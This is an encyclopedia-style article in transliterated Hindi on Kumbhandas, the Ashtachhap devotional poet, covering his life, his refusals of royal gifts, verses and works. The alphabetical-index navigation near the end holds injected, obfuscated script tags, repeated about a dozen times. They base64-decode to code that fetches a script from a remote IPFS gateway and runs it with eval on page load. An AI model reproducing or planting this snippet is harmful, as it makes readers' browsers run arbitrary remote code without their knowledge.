कुम्भनदास

	kumbhanadas
	kumbhanadas\|200px\|center
poora nam	kumbhanadas
janm	sanvat 1525 vikrami (1468 ee.)
janm bhoomi	jamunavato gram, govardhan, mathura
mrityu	sanvat 1639 vikrami (1582)
mrityu sthan	govardhan
santan	sat putr
karm bhoomi	mathura, bharat
mukhy rachanaean	kumbhanadas ke padoan ki kul sankhya jo 'rag-kalpadrum' 'rag-ratnakar' tatha sampraday ke kirtan-sangrahoan mean milate haian, 500 ke lagabhag haian.
bhasha	brajabhasha
prasiddhi	ashtachhap ke kavi tatha shrinath ji ke sevak.
nagarikata	bharatiy
sanbandhit lekh	ashtachhap kavi, vallabhachary, shrikrishna, govardhan, mathura
diksha guru	vallabhachary
any janakari	kumbhanadas bhagavatkripa ko hi sarvopari manate the, b de-se-b de ghareloo sankat mean bhi ve apane astha-path se kabhi vichalit nahian hue. shrinath ji ke shrriangar sambandhie padoan ki rachana mean unaki vishesh abhiruchi thi.
inhean bhi dekhean	kavi soochi, sahityakar soochi

kumbhanadas ashtachhap ke ek kavi the aur paramanandadas ji ke hi samakalin the. ye poore virakt aur dhan, man, maryada ki ichchha se kosoan door the. ye moolat: kisan the. ashtachhap ke kaviyoan mean sabase pahale kumbhanadas ne mahaprabhu vallabhachary se diksha li thi. pushtimarg mean dikshit hone ke bad shrinathaji ke mandir mean kirtan kiya karate the. ye kisi se dan nahian lete the. inhean madhurabhav ki bhakti priy thi aur inake rache hue lagabhag 500 pad upalabdh haian.

parichay

anumanat: kumbhanadas ka janm sanh 1468 ee. mean, sampraday pravesh sanh 1492 ee. mean aur golokavas sanh 1582 ee. ke lagabhag hua tha. pushtimarg mean dikshit tatha shrinath ji ke mandir mean kirtanakar ke pad par niyukt hone par bhi unhoanne apani vritti nahian chho di aur ant tak nirdhanavastha mean apane parivar ka bharan-poshan karate rahe. parivar mean inaki patni ke atirikt sat putr, sat putr-vadhuean aur ek vidhava bhatiji thi. atyant nirdhan hote hue bhi ye kisi ka dan svikar nahian karate the. raja manasianh ne inhean ek bar sone ki arasi aur ek hazar moharoan ki thaili bheant karani chahi thi parantu kumbhanadas ne use asvikar kar diya tha. inhoanne raja manasianh dvara di gayi jamunavato gaanv ki maphi ki bheant bhi svikar nahian ki thi aur unase kah diya tha ki yadi ap dan karana chahate hai to kisi brahman ko dijie. apani kheti ke ann, karil ke phool aur teti tatha jha d ke beroan se hi poorn santusht rahakar ye shrinathaji ki seva mean lin rahate the. ye shrinathaji ka viyog ek kshan ke lie bhi sahan nahian kar pate the.

prasiddh hai ki ek bar akabar ne inhean fatehapur sikari bulaya tha. samrat ki bheji huee savari par n jakar ye paidal hi gaye aur jab samrat ne inaka kuchh gayan sunane ki ichchha prakat ki to inhoanne gaya :-

bhaktan ko kaha sikari soan kam.

avat jat panahiya tooti bisari gayo hari nam.

jako mukh dekhe du:kh lage tako karan kari paranam.

kumbhanadas lala giridhar bin yah sab jhootho dham.

akabar ko vishvas ho gaya ki kumbhanadas apane ishtadev ko chho dakar any kisi ka yashogan nahian kar sakate phir bhi unhoanne kumbhanadas se anurodh kiya ki ve koee bheant svikar karean, parantu kuanbhan das ne yah maang ki ki aj ke bad mujhe phir kabhi n bulaya jay. kuanbhanadas ke sat putr the. parantu gosvami vitthalanath ke poochhane par unhoanne kaha tha ki vastav mean unake dedh hi putr haian kyoanki paanch lokasakt haian, ek chaturbhujadas bhakt haian aur adhe krishnadas haian, kyoanki ve bhi govardhan nath ji ki gayoan ki seva karate haian. krishnadas ko jab gayean charate hue sianh ne mar dala tha to kumbhanadas yah samachar sunakar moorchchhit ho gaye the, parantu is moorchchha ka karan putr–shok nahian tha, balki yah ashanka thi ki ve sootak ke dinoan mean shrinathaji ke darshanoan se vanchit ho jayeange. bhakt ki bhavana ka adar karake gosvami ji ne sootak ka vichar chho dakar kumbhanadas ko nity-darshan ki ajna de di thi. shrinathaji ka viyog sahan n kar sakane ke karan hi kumbhanadas gosvami vitthalanath ke sath dvaraka nahian gaye the aur raste se laut aye the. gosvami ji ke prati bhi kumbhanadas ki agadh bhakti thi. ek bar gosvamiji ke janmotsav ke lie inhoanne apane pe de aur poo diyaan beanchakar paanch rupaye chande mean diye the. inaka bhav tha ki apana sharir, pran, ghar, stri, putr bechakar bhi yadi guru ki seva ki jay, tab kahian vaishnav siddh ho sakata hai.

madhur-bhav ki bhakti

kumbhanadas ko nikuanjalila ka ras arthath madhur-bhav ki bhakti priy thi aur inhoanne mahaprabhu se isi bhakti ka varadan maanga tha. ant samay mean inaka man madhur–bhav mean hi lin tha, kyoanki inhoanne gosvamiji ke poochhane par isi bhav ka ek pad gaya tha. pun: poochhane par ki tumhara ant:karan kahaan hai, kumbhanadas ne gaya tha-

rasikini ras mean rahat g di.

kanak beli vrishabhan nandini syam tamal chadhi..

viharat shri govardhan dhar rati ras keli badhi ..

prasiddh hai ki kumbhanadas ne sharir chho dakar shrikrishna ki nikuanj-lila mean pravesh kiya tha.

rachanayean

kumbhanadas ke padoan ki kul sankhya jo 'rag-kalpadrum' 'rag-ratnakar' tatha sampraday ke kirtan-sangrahoan mean milate haian, 500 ke lagabhag haian. in padoan ki sankhya adhik hai.
janmashtami, radha ki badhaee, palana, dhanateras, govarddhanapooja, iandramanabhang, sankranti, malhar, rathayatra, hiandola, pavitra, rakhi vasant, dhamar adi ke pad isi prakar ke hai.
krishnalila se sambaddh prasangoan mean kumbhanadas ne gochar, chhap, bhoj, biri, rajabhog, shayan adi ke pad rache haian jo nityaseva se sambaddh haian.
inake atirikt prabhuroop varnan, svamini roop varnan, dan, man, asakti, surati, suratant, khandita, virah, murali rukminiharan adi vishayoan se sambaddh shrriangar ke pad bhi hai.

kumbhanadas ne gurubhakti aur guru ke parijanoan ke prati shraddha prakat karane ke lie bhi anek padoan ki rachana ki. achary ji ki badhaee, gusaeean ji ki badhaee, gusaeean ji ke palana adi vishayoan se sambaddh par isi prakar ke haian. kumbhanadas ke padoan ke uparyukt varnan se spasht hai ki inaka drishtikon soor aur paramanand ki apeksha adhik sampradayik tha. kavitt ki drishti se inaki rachana mean koee maulik visheshataean nahian haian. use ham soor ka anukaran matr man sakate haian.
kumbhanadas ke padoan ka ek sangrah 'kumbhanadas' shirshak se shrividya vibhag, kaankaroli dvara prakashit hua hai.

tika tippani aur sandarbh

[sahayak granth-

chaurasi vaishnavan ki varta;
ashtachhap aur vallabh sampraday: d aau. dinadayal gupt:
ashtachhap parichay: shriprabhudayal mital.]

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

kumbhanadas
kumbhanadas\|200px\|center
poora nam	kumbhanadas
janm	sanvat 1525 vikrami (1468 ee.)
janm bhoomi	jamunavato gram, govardhan, mathura
mrityu	sanvat 1639 vikrami (1582)
mrityu sthan	govardhan
santan	sat putr
karm bhoomi	mathura, bharat
mukhy rachanaean	kumbhanadas ke padoan ki kul sankhya jo 'rag-kalpadrum' 'rag-ratnakar' tatha sampraday ke kirtan-sangrahoan mean milate haian, 500 ke lagabhag haian.
bhasha	brajabhasha
prasiddhi	ashtachhap ke kavi tatha shrinath ji ke sevak.
nagarikata	bharatiy
sanbandhit lekh	ashtachhap kavi, vallabhachary, shrikrishna, govardhan, mathura
diksha guru	vallabhachary
any janakari	kumbhanadas bhagavatkripa ko hi sarvopari manate the, b de-se-b de ghareloo sankat mean bhi ve apane astha-path se kabhi vichalit nahian hue. shrinath ji ke shrriangar sambandhie padoan ki rachana mean unaki vishesh abhiruchi thi.
inhean bhi dekhean	kavi soochi, sahityakar soochi